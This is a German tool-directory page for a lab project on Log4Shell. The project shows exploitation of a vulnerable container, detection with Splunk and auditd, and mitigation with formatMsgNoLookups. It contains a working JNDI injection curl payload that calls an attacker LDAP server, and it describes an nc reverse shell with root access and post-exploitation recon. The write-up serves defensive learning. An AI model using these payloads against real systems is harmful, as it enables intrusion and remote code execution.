Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-exploitation-detection — Hands-on-Projekt, das die Ausnutzung von Log4Shell, die Erkennungsentwicklung mit Splunk und auditd sowie eine validierte Behebung in einer containerisierten Umgebung demonstriert. | Kitploit
Tools/GitHubGitHub/kalidoulabghaly/log4shell-exploitation-detection
Container-SicherheitSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungIncident ResponseLog-AnalyseLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
kalidoulabghaly/log4shell-exploitation-detection

log4shell-exploitation-detection

Hands-on-Projekt, das die Ausnutzung von Log4Shell, die Erkennungsentwicklung mit Splunk und auditd sowie eine validierte Behebung in einer containerisierten Umgebung demonstriert.

Repository anzeigen
vor 7h 31mNoch nicht geprüft

Log4Shell (CVE-2021-44228) – Ausnutzung, Erkennung & Behebung

Ein praxisorientiertes Projekt für offensive und defensive Sicherheit, das den gesamten Lebenszyklus der Log4Shell-Schwachstelle simuliert: Ausnutzung von einer Angreifer-VM aus, Erkennungs-Engineering in Splunk und validierte Behebung.

Warum dieses Projekt

Die meisten Portfolio-Projekte in diesem Bereich decken SSH-Brute-Force ab. Ich wollte etwas, das ein umfassenderes Fähigkeitsspektrum demonstriert: die Ausnutzung einer realen, hochwirksamen CVE von Anfang bis Ende, gefolgt vom Wechsel auf die defensive Seite, um sie zu erkennen und zu beheben – derselbe Lebenszyklus, den ein Security Engineer oder Detection Engineer in der Praxis durchläuft.

Umgebung

  • Angreifer-Maschine: Kali Linux VM (192.168.1.86)
  • Ziel-Maschine: Linux Mint VM, Hostname illshot (192.168.1.85), mit nativ laufendem Splunk für Log-Erfassung und Erkennung
  • Verwundbare Anwendung: ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181), laufend in einem Docker-Container, Logs über --log-driver=syslog in das Syslog von Mint geleitet
  • Beide VMs sind in dasselbe LAN gebrückt, sodass der gesamte Angriffsverkehr für Splunk sichtbar blieb

Angriffskette

1. Listener und Exploit-Tool einrichten. Startete einen Netcat-Listener auf Kali, um den Reverse-Shell-Callback zu empfangen, und startete anschließend ein selbst gebautes JNDI-Injection-Exploit-Tool (aus dem Quellcode gebaut, da keine vorgefertigten Releases verfügbar waren), um die schädliche LDAP-Payload bereitzustellen.

Netcat-Listener-Einrichtung JNDI-Exploit-Tool-Start Docker-Container-Neustart

2. Exploit senden. Zustellung der Payload über einen manipulierten HTTP-Header mit einer JNDI-Lookup-Zeichenkette, die auf die verwundbare App auf Port 8080 abzielte.

root@kitploit:~
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

Curl-Exploit gesendet

3. Shell abfangen. Die verwundbare App parste den Header, löste das JNDI-Lookup aus und kontaktierte meine Kali-Maschine, um die schädliche Klasse abzurufen und auszuführen – was zu einer Reverse Shell mit Root-Rechten im Container führte.

Reverse Shell, Root-Zugriff

Post-Exploitation-Aufklärung (wie ein echter Angreifer sie durchführen würde): Bestätigung des root-Zugriffs, Prüfung der Umgebungsvariablen (sauber, keine geleakten Secrets), Inspektion des Anwendungs-Jars und Prüfung von /etc/passwd, das eine Reihe ungenutzter Service-Konten des Alpine-Basisimages offenbarte – ein gutes Beispiel für ein irreführendes Aufklärungs-Artefakt, das keine reale Angriffsfläche widerspiegelt.

Erkennung

JNDI-Exploit-Erkennung

Splunk, das das Syslog von Mint erfasst, protokollierte die gesamte Exploit-Kette: die anfängliche JNDI-Lookup-Anfrage, den daraus resultierenden NamingException- und ClassCastException-Stacktrace sowie die zugehörigen sudo docker exec-Befehle, die zur Interaktion mit dem Container auf Host-Ebene verwendet wurden.

JNDI-Stacktrace und Docker-Exec-Protokollierung JNDI-Exploit in Splunk bestätigt

Auch Aufklärung war vor der Ausnutzung sichtbar: UFW-Firewall-Logs erfassten den Nmap-Scan-Verkehr von Kali gegen das Ziel.

UFW-Scan-Verkehrsquellen-Aufschlüsselung

Erkennung auf Host-Ebene (auditd)

Ein zentraler technischer Befund dieses Projekts: Eine rohe nc -e /bin/sh-Reverse-Shell authentifiziert sich nie über PAM und erzeugt daher keine Einträge in auth.log und keine Login-Sitzung. Für sich allein genommen würde das diese Art von Shell für standardmäßige login-basierte Protokollierung unsichtbar machen.

Docker-Container teilen sich jedoch den Kernel des Hosts, anstatt vollständig isolierte virtualisierte Kernel auszuführen. Das bedeutet, dass jedes execve (Prozessausführung) im Container weiterhin für das Host-Audit-Subsystem sichtbar ist. Ich konfigurierte auditd auf Mint so, dass es systemweit auf execve-Syscalls achtet, markierte die Regel (container_exec) und speiste /var/log/audit/audit.log als neue Datenquelle in Splunk ein.

auditd-Regel-Verifizierung

Das erneute Auslösen des Exploits und das Ausführen von Post-Exploitation-Befehlen (whoami, cat /etc/passwd, ls /app, env) bestätigte die Theorie: auditd erfasste jeden Befehl, einschließlich des Aufrufs der rohen nc-Reverse-Shell selbst, komplett mit der IP und dem Port des Angreifers, die direkt in den protokollierten Argumenten sichtbar waren.

auditd erfasst den nc-Reverse-Shell-Befehl

Auch umfassendere Post-Exploitation-Aktivitäten waren vollständig sichtbar und liefen unter /bin/busybox (die minimale Shell des Containers implementiert die meisten Unix-Tools als Symlinks auf eine einzige BusyBox-Binärdatei, daher zeigt comm busybox, während exe weiterhin den vollständigen Pfad auflöst):

auditd erfasst Container-Befehle unter busybox Gefilterte auditd-Suche, comm-Feld-Aufschlüsselung

Ein weiteres erwähnenswertes Detail: Jedes erfasste Ereignis zeigte auid=4294967295 (nicht gesetzt/keine Login-Sitzung) gepaart mit uid=0 (root). Diese Kombination ist selbst ein starkes Indiz für eine nicht authentifizierte Shell – ein Prozess mit vollständigen Root-Rechten, aber ohne Audit-Login-ID überhaupt, genau das, was man von einer Shell erwartet, die die normale Authentifizierung vollständig umgangen hat.

Wichtige Erkennungsabfragen:

root@kitploit:~
index=main *jndi*
root@kitploit:~
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time

Behebung

Anwendung der offiziellen Übergangsmaßnahme, die von Apache und CISA vor den gepatchten Log4j-Versionen veröffentlicht wurde: Deaktivierung von JNDI-Message-Lookups über eine JVM-Systemeigenschaft.

root@kitploit:~
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
  -p 8080:8080 \
  -e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
  ghcr.io/christophetd/log4shell-vulnerable-app

Der erneute Versuch derselben Exploit-Kette nach der Behebung bestätigte den Fix: Die Anfrage kam weiterhin an und wurde protokolliert, aber das JNDI-Lookup wurde nie ausgewertet – kein Callback, kein Stacktrace, keine Shell.

Behebung validiert, Exploit schlägt fehl

Dieser Vergleich ist der deutlichste Beleg des Projekts: Der ursprüngliche Angriff erzeugte eine vollständige Exploit-Kette mit 136+ zugehörigen Log-Ereignissen und einem erfolgreichen Callback. Nach der Behebung erzeugt der identische Angriff eine einzige harmlose Log-Zeile ohne jegliche nachgelagerte Lookup-Aktivität.

Erwähnenswert für die Verteidigung in der Tiefe: Der Exploit-Versuch blieb auch nach der Behebung in den Logs sichtbar. Der Erkennungswert verschwindet nicht, sobald eine Schwachstelle gepatcht ist – ein gepatchtes System, das später falsch konfiguriert wird, oder eine Varianten-Payload würde weiterhin von denselben hier aufgebauten Erkennungsabfragen erfasst.

Wichtigste Erkenntnisse

  • Ausnutzung einer realen, hochwirksamen CVE (Log4Shell) von Anfang bis Ende, von der Payload-Zustellung bis zu einer funktionierenden Reverse Shell
  • Aufbau einer Erkennungsabdeckung auf zwei Ebenen: Anwendungs-/Netzwerkebene (JNDI-Zeichenketten-Abgleich in Logs) und Host-Ebene (auditd-Syscall-Überwachung)
  • Demonstration eines realen Container-Sicherheitskonzepts: Kernel-Sharing bedeutet, dass Host-Level-Auditing Aktivitäten erfassen kann, die die normale authentifizierungsbasierte Protokollierung vollständig umgehen
  • Anwendung und Validierung einer realen Behebung mit Vorher/Nachher-Belegen, die zeigen, dass der Fix tatsächlich funktioniert – nicht nur, dass er angewendet wurde
Tool herunterladen